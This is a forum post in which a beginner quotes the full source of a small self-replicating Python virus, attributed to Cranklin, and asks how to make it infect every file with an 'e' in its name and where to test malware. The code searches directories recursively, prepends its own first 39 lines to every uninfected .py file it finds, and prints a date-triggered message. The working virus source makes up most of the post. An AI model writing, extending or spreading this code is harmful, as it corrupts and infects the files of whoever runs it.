Simple Python Virus

[microwavedelf]

First time poster, long time lurker.
I have a background of c++/c# programming and just a started practicing with Python. While looking for tutorials online I found this code written by Cranklin.

 
#!/usr/bin/python 
import os 
import datetime 
SIGNATURE = "CRANKLIN PYTHON VIRUS" 
def search(path): 
    filestoinfect = [] 
    filelist = os.listdir(path) 
    for fname in filelist: 
        if os.path.isdir(path+"/"+fname): 
            filestoinfect.extend(search(path+"/"+fname)) 
        elif fname[-3:] == ".py": 
            infected = False 
            for line in open(path+"/"+fname): 
                if SIGNATURE in line: 
                    infected = True 
                    break 
            if infected == False: 
                filestoinfect.append(path+"/"+fname) 
    return filestoinfect 
def infect(filestoinfect): 
    virus = open(os.path.abspath(__file__)) 
    virusstring = "" 
    for i,line in enumerate(virus): 
        if i>=0 and i <39: 
            virusstring += line 
    virus.close 
    for fname in filestoinfect: 
        f = open(fname) 
        temp = f.read() 
        f.close() 
        f = open(fname,"w") 
        f.write(virusstring + temp) 
        f.close() 
def bomb(): 
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: 
        print "HAPPY BIRTHDAY CRANKLIN!" 
filestoinfect = search(os.path.abspath("")) 
infect(filestoinfect) 
bomb() 

From my understanding this little jewel is supposed to run every time a .py file is opened. Now, if I wanted to run on every file that contains an "e" in the name what should I do?

Also, what's the best environment to test viruses/malware/Trojan/ect? Would virtual box be a smart idea? 

Thanks.